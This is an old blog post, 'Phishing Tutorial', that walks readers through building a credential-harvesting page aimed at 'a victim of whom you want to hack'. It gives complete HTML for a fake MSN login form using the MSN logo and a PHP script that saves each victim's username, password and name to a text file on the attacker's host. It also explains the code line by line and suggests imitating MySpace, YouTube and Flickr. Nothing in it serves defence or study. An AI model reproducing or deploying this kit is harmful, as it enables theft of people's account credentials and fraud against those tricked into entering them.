Tuesday, January 26, 2010

Phishing Tutorial

I learned some new phishing techniques that will required some background experience in PHP, the programming language, you will also need a 110MB.com account, a victim of whom you want to hack, and Notepad++ (it's not required but makes the job easier). Firstly, you may want to read here tutorial on PHP file creation. After reading that open up your Notepad or Notepad++ and enter this:

HTML (index.html) Wrote:
<html>
<head>
<title>MSN Login</title>
</head>
<body>
<p>
<form action="collect.php" method="post">
<font face="Verdana" size="4"><img class="" alt="" src="http://www.platinumstatus.ws/nick/new/MSN_logo.gif" /><br />
Name :&nbsp; </font><input autocomplete="OFF" name="name" type="text" /><br />
<font face="Verdana" size="4">Username : &nbsp;</font><input id="username" name="username" type="text" /><br />
<font face="Verdana" size="4">Password : &nbsp;</font><input id="password" type="password" name="password" /><br />
<input id="submit" type="submit" name="submit" value=" Login " />
</form>
</p>
</body>


This is a quick login page for MSN accounts, you may want to go to MySpace, YouTube, Flickr, etc. and save their logo for your use. Next you want to create a PHP page that will bring the information enter in the form, above, and place it into a new text file. Here is the source code (REMEMBER TO SAVE IT AS COLLECT.PHP OR IF YOU DONT DO THAT THEN EDIT THE action="page.php" TO SOMETHING ELSE!):


PHP (collect.php) Wrote:
<html dir="ltr">
<head>
<title></title>
<?php
//Gather's information from previous form.
$username = $_POST['username'];
$password = $_POST['password'];
$name = $_POST['name'];

echo "Thanks," . $name . "!";

//Creates a new text file and fills in the info from the form..
$myFile = "msAccount.txt";
$fh = fopen($myFile, 'w') or die("Error.");
$msUsername = "Username:". $username ."<br />";
fwrite($fh, $msUsername);
$msPassword = "Password:". $password ."<br />";
fwrite($fh, $msPassword);
$msName = "Name:". $name ."<br />";
fwrite($fh, $msName);
fclose($fh);
?>
</head>
<body>
</body>
</html>]

The bit up above starting at $myfile = ... is a bit advanced so let me explain.

$myFile = "msAccount.txt";: Creates the new text file called msAccount.txt. If you want to change the title of the out putted file, say to loginInfo or whatever, then change it.

$fh = fopen($myFile, 'w') or die("Error.");: Creates the actually file.

$msUsername = "Username:". $username ."<br />";
fwrite($fh, $msUsername);: Carries the username from the form to the text file in text. When I've tested this with \n instead of <br /> it mysteriously doesn't work so I've used <br />.

$msPassword = "Password:". $password ."<br />";
fwrite($fh, $msPassword);: Carries the password from the form (see above).

$msName = "Name:". $name ."<br />";
fwrite($fh, $msName);: Same as above but prints the name.

fclose($fh);
?>: Closes the code.

Now that they are created go ahead and test it out. But note that the text file being created, in this case msAccount.txt, will be created in the same directory as the collect.php file. So if collect.php is in a folder called codes, the text file will only be created in that file codes.

Have fun and test it. + Rep if ya liked it!

No comments:

Post a Comment